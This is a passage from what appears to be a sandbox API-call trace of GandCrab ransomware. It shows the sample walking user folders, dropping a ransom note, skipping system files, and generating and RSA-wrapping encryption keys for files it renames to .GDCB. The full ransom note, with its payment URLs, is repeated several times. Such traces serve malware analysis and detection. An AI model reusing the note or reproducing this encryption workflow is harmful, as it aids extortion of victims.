pszPath="C:\\Windows") returned 1 [0053.826] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.826] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.826] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\") returned 73 [0053.826] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*" [0053.826] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x5892e0 [0053.826] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.826] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0053.826] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.826] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.826] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0053.826] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0053.826] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0053.826] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\", lpString2="1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033" [0053.826] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033") returned 77 [0053.826] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0053.826] FindClose (in: hFindFile=0x5892e0 | out: hFindFile=0x5892e0) returned 1 [0053.826] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.826] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\\\GDCB-DECRYPT.txt") returned 90 [0053.826] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\document building blocks\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0053.827] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.827] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0053.828] CloseHandle (hObject=0x4f8) returned 1 [0053.828] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.828] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\") returned 73 [0053.828] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*" [0053.828] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x5892e0 [0053.828] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.828] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.828] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.828] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.828] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.828] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0053.828] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0053.828] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\", lpString2="1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033" [0053.828] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\" [0053.828] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.828] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.828] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.828] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.828] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.828] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.829] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\") returned 78 [0053.829] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*" [0053.829] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5b8030 [0053.830] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.830] FindNextFileW (in: hFindFile=0x5b8030, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.830] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.830] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.830] FindNextFileW (in: hFindFile=0x5b8030, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.830] lstrcmpW (lpString1="16", lpString2=".") returned 1 [0053.830] lstrcmpW (lpString1="16", lpString2="..") returned 1 [0053.830] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\", lpString2="16" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16" [0053.830] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16") returned 80 [0053.830] FindNextFileW (in: hFindFile=0x5b8030, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0053.830] FindClose (in: hFindFile=0x5b8030 | out: hFindFile=0x5b8030) returned 1 [0053.830] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.830] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\\\GDCB-DECRYPT.txt") returned 95 [0053.830] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\document building blocks\\1033\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0053.830] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.831] WriteFile (in: hFile=0x4fc, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0053.831] CloseHandle (hObject=0x4fc) returned 1 [0053.831] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.831] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\") returned 78 [0053.831] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*" [0053.831] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5b8c30 [0053.831] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.831] FindNextFileW (in: hFindFile=0x5b8c30, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.831] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.831] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.832] FindNextFileW (in: hFindFile=0x5b8c30, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.832] lstrcmpW (lpString1="16", lpString2=".") returned 1 [0053.832] lstrcmpW (lpString1="16", lpString2="..") returned 1 [0053.832] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\", lpString2="16" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16" [0053.832] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\" [0053.832] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.832] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.832] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.832] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.832] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.832] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.832] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\") returned 81 [0053.832] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\*" [0053.832] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x5b8930 [0053.833] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.833] FindNextFileW (in: hFindFile=0x5b8930, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0053.833] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.833] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.833] FindNextFileW (in: hFindFile=0x5b8930, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0053.833] lstrcmpW (lpString1="Built-In Building Blocks.dotx", lpString2=".") returned 1 [0053.833] lstrcmpW (lpString1="Built-In Building Blocks.dotx", lpString2="..") returned 1 [0053.833] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\", lpString2="Built-In Building Blocks.dotx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx" [0053.833] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx") returned 110 [0053.833] lstrcmpW (lpString1=".dotx", lpString2=".sql") returned -1 [0053.833] FindNextFileW (in: hFindFile=0x5b8930, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0053.833] FindClose (in: hFindFile=0x5b8930 | out: hFindFile=0x5b8930) returned 1 [0053.833] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.833] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\\\GDCB-DECRYPT.txt") returned 98 [0053.833] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\document building blocks\\1033\\16\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500 [0053.834] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.834] WriteFile (in: hFile=0x500, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e864, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e864*=0xad6, lpOverlapped=0x0) returned 1 [0053.835] CloseHandle (hObject=0x500) returned 1 [0053.835] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.835] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\") returned 81 [0053.835] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\*" [0053.835] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x5b8c70 [0053.836] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.836] FindNextFileW (in: hFindFile=0x5b8c70, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0053.836] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.836] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.836] FindNextFileW (in: hFindFile=0x5b8c70, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0053.836] lstrcmpW (lpString1="Built-In Building Blocks.dotx", lpString2=".") returned 1 [0053.836] lstrcmpW (lpString1="Built-In Building Blocks.dotx", lpString2="..") returned 1 [0053.836] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\", lpString2="Built-In Building Blocks.dotx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx" [0053.836] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.836] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx") returned 110 [0053.836] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx") returned 110 [0053.836] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx") returned 110 [0053.836] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx") returned 110 [0053.836] lstrcmpiW (lpString1="Built-In Building Blocks.dotx", lpString2="desktop.ini") returned -1 [0053.836] lstrcmpiW (lpString1="Built-In Building Blocks.dotx", lpString2="autorun.inf") returned 1 [0053.836] lstrcmpiW (lpString1="Built-In Building Blocks.dotx", lpString2="ntuser.dat") returned -1 [0053.836] lstrcmpiW (lpString1="Built-In Building Blocks.dotx", lpString2="iconcache.db") returned -1 [0053.836] lstrcmpiW (lpString1="Built-In Building Blocks.dotx", lpString2="bootsect.bak") returned 1 [0053.836] lstrcmpiW (lpString1="Built-In Building Blocks.dotx", lpString2="boot.ini") returned 1 [0053.836] lstrcmpiW (lpString1="Built-In Building Blocks.dotx", lpString2="ntuser.dat.log") returned -1 [0053.836] lstrcmpiW (lpString1="Built-In Building Blocks.dotx", lpString2="thumbs.db") returned -1 [0053.836] lstrcmpiW (lpString1="Built-In Building Blocks.dotx", lpString2="GDCB-DECRYPT.txt") returned -1 [0053.836] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\document building blocks\\1033\\16\\built-in building blocks.dotx")) returned 0x20 [0053.843] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx", dwFileAttributes=0x20) returned 1 [0053.844] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0053.844] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx" [0053.844] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx.GDCB" [0053.844] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5901b0) returned 1 [0053.844] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.845] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.845] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.845] CryptGenRandom (in: hProv=0x5901b0, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0053.845] CryptReleaseContext (hProv=0x5901b0, dwFlags=0x0) returned 1 [0053.845] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.845] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58ff08) returned 1 [0053.845] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.845] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.846] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.846] CryptGenRandom (in: hProv=0x58ff08, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0053.846] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0053.846] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.846] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0053.846] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0053.846] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58ff08) returned 1 [0053.848] CryptImportKey (in: hProv=0x58ff08, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5b88b0) returned 1 [0053.848] CryptGetKeyParam (in: hKey=0x5b88b0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0053.848] CryptEncrypt (in: hKey=0x5b88b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0053.848] GetLastError () returned 0x0 [0053.848] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0053.848] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider 